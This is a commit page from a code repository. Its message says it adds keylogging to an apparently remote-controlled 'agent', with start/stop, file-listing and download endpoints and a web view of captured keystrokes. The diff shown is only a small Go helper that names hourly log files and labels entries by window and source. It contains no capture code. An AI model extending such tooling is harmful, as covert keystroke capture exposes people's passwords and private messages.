Add keylogging functionality to the agent. Implement keylog start/stop, file listing, and download API endpoints. Update web interface to display keystroke logs and allow file downloads.
This commit is contained in:
@@ -0,0 +1,44 @@
|
||||
package keylog
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
const hourBucketLayout = "2006-01-02-15"
|
||||
|
||||
var logFilenamePattern = regexp.MustCompile(`^\d{4}-\d{2}-\d{2}-\d{2}\.log$`)
|
||||
|
||||
func HourBucket(t time.Time) string {
|
||||
return t.Local().Format(hourBucketLayout)
|
||||
}
|
||||
|
||||
func LogFilename(bucket string) string {
|
||||
return bucket + ".log"
|
||||
}
|
||||
|
||||
func ValidLogFilename(name string) bool {
|
||||
return logFilenamePattern.MatchString(filepath.Base(name))
|
||||
}
|
||||
|
||||
func normalizeWindow(window string) string {
|
||||
window = strings.TrimSpace(window)
|
||||
if window == "" {
|
||||
return "?"
|
||||
}
|
||||
return window
|
||||
}
|
||||
|
||||
func eventSource(injected bool) string {
|
||||
if injected {
|
||||
return "injected"
|
||||
}
|
||||
return "user"
|
||||
}
|
||||
|
||||
func sectionHeader(source, window string) string {
|
||||
return fmt.Sprintf("[%s · %s]\n", source, normalizeWindow(window))
|
||||
}
|
||||
Reference in New Issue
Block a user